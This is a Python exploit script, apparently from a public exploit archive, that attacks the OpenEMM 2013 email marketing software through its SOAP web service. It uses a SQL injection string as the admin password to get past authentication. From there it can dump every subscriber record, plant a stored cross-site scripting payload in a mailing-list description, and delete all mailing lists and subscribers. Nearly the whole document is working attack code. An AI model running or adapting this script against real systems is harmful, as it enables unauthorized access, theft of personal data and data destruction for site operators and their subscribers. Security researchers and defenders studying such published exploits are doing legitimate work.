OpenEMM-2013 8.10.380.hf13.0.066 - SOAP SQL Injection / Persistent Cross-Site Scripting

import os
import sys
from SOAPpy import WSDL
from argparse import ArgumentParser
from re import sub
 
# Exploit Title: OpenEMM 2013 SQL Injection / Stored XSS
# Date: 07/20/2013
# Exploit Author: drone (@dronesec)
# More information (and required WSDL file):
#     http://forelsec.blogspot.com/2013/07/openemm-2013-810380hf130066-soap-sql.html
# Vendor Homepage: http://www.openemm.org/
# Software Link: https://downloads.sourceforge.net/project/openemm/OpenEMM%20software/OpenEMM%202013/OpenEMM-2013-bin.tar.gz
# Version: 2013 (8.10.380.hf13.0.066)
# Tested on: Ubuntu 12.04
 
""" Exploits a host of vulnerabilities discovered in OpenEMM.
   Required ws.wsdl file should be in local directory.
"""
def run(options):
    """ run exploit
   """
    wsdl_file = "./ws.wsdl"
    sploit = "\\' OR 1=1;-- "
 
    _server = WSDL.Proxy(wsdl_file)
 
    if options.subscribers:
        # iterate until we get a null response
        idx = 1
        while True:
            ret = _server.getSubscriber("wsadmin", sploit, idx)
            if ret.paramValues == '':
                print '[!] Discovered %d subscribers'%(idx-1)
                break
 
            print ret.paramValues
            idx += 1
 
    elif options.mlist:
        try:
            print '[!] Description field vulnerable to stored xss!'
            description = raw_input('[!] Enter mlist description: ')
        except:
            description = ''
 
        ret = _server.addMailinglist('wsadmin', sploit, options.mlist, description)
        if ret > 0: print '[!] Saved successfully'
        else:       print '[!] Save unsuccessful'
 
    elif options.dmlist:
        print '[!] Deleting all mailing lists...'
        idx = 1
        while True:
            ret = _server.deleteMailinglist('wsadmin', sploit, idx)
            if ret == 0:
                print '[!] Deleted %d mailing lists.'%idx
                break
            idx += 1
 
    elif options.dsubs:
        print '[!] Deleting all subscribers...'
        idx = 1
        while True:
            ret = _server.deleteSubscriber('wsadmin', sploit, idx)
            if ret == 0:
                print '[!] Deleted %d subscribers.'%idx
                break
            idx += 1
 
def parse_args():
    """ parse args and sub in the desired IP
   """
    parser = ArgumentParser()
    parser.add_argument('-i', help='server address', action='store',
                dest='host', required=True)
    parser.add_argument('-s', help='fetch all subscribers', action='store_true',
                dest='subscribers')
    parser.add_argument('-m', help='create new mailing list (XSS)', action='store',
                dest='mlist')
    parser.add_argument('--dm', help='delete all mailing lists', action='store_true',
                dest='dmlist')
    parser.add_argument('--ds', help='delete all subscribers', action='store_true',
                dest='dsubs')
 
    options = parser.parse_args()
    try:
        # sub in server address
        with open('ws.wsdl', 'r') as f:
            out = open('tmp.wsdl', 'w+')
            for line in f:
                line = sub('location="(.*?)"',
                    'location="http://{0}:8080/emm_webservice"'.format(options.host),
                    line)
                out.write(line)
            out.close()
    except IOError:
        print '[-] ws.wsdl not found'
        sys.exit(1)
 
    # replace ws.wsdl with temp one
    os.system('mv tmp.wsdl ws.wsdl')
    return options
 
if __name__ == "__main__":
    options = parse_args()
    run(options)